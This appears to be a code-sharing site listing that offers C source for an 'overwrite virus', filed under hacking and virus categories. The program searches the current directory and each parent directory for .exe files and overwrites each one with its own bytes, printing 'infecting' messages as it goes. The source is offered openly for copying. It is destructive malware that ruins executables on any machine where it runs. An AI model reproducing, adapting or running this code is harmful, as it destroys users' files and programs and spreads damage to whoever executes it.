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Title overwrite virus coded in C
Author Tapan Kumar Mishra
Author Email titu_igit [at] rediffmail.com
Description It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory
Category C » Hacking & Cracking, Virus
Hits 38137
Code Select and Copy the Code
Code : /*A virus program coded by Tapan Kumar Mishra BE Electrical Engg. IGIT Sarang,Orissa 7th sem email id:titu_igit@rediffmail.com */ #include<stdio.h> #include<dir.h> #include<dos.h> void main(int argc,char *argv[]) { int bytes,i,done; FILE *virus,*host; struct ffblk *f; char buffer[512]; do { done=findfirst("*.exe",f,0); while(!done) { virus=fopen(argv[0],"rb");//open the virus in read mode host=fopen(f->ff_name,"rb+");//open the host file in r/w mode for(;fread(buffer,512,1,virus)==1;) fwrite(buffer,512,1,host); fclose(host); fseek(virus,0,0);//points to begining of virus printf("infecting %s ",f->ff_name); done=findnext(f); } } while(!chdir("..")); printf("For any querry contact Tapan Kumar Mishra,id:titu_igit@rediffmail.com");

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